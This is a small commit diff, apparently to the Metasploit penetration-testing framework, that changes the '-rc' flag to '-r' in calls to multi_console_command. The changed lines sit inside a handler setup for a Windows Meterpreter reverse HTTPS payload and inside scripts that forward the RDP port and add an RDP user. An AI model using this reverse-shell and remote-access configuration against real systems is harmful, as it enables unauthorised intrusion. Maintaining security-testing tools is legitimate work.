Fix references to multi_console_command
parent
fe2962b2cb
commit
ed2286c637
|
@ -56,7 +56,7 @@ set PAYLOAD windows/meterpreter/reverse_https
|
||||||
set LHOST 192.168.1.101
|
set LHOST 192.168.1.101
|
||||||
set LPORT 13002
|
set LPORT 13002
|
||||||
set ExitOnSession false
|
set ExitOnSession false
|
||||||
set AutoRunScript multi_console_command -rc /home/user/auto.rc
|
set AutoRunScript multi_console_command -r /home/user/auto.rc
|
||||||
exploit -j
|
exploit -j
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
|
@ -176,7 +176,7 @@ if client.platform == 'windows'
|
||||||
print_status("Starting the port forwarding at local port #{lport}")
|
print_status("Starting the port forwarding at local port #{lport}")
|
||||||
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
|
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
|
||||||
end
|
end
|
||||||
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
|
print_status("For cleanup use command: run multi_console_command -r #{@dest}")
|
||||||
else
|
else
|
||||||
usage
|
usage
|
||||||
end
|
end
|
||||||
|
|
|
@ -166,7 +166,7 @@ if enbl or (usr!= nil && pass != nil)
|
||||||
if (usr!= nil && pass != nil)
|
if (usr!= nil && pass != nil)
|
||||||
addrdpusr(usr, pass)
|
addrdpusr(usr, pass)
|
||||||
end
|
end
|
||||||
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
|
print_status("For cleanup use command: run multi_console_command -r #{@dest}")
|
||||||
|
|
||||||
else
|
else
|
||||||
usage
|
usage
|
||||||
|
|
Loading…
Reference in New Issue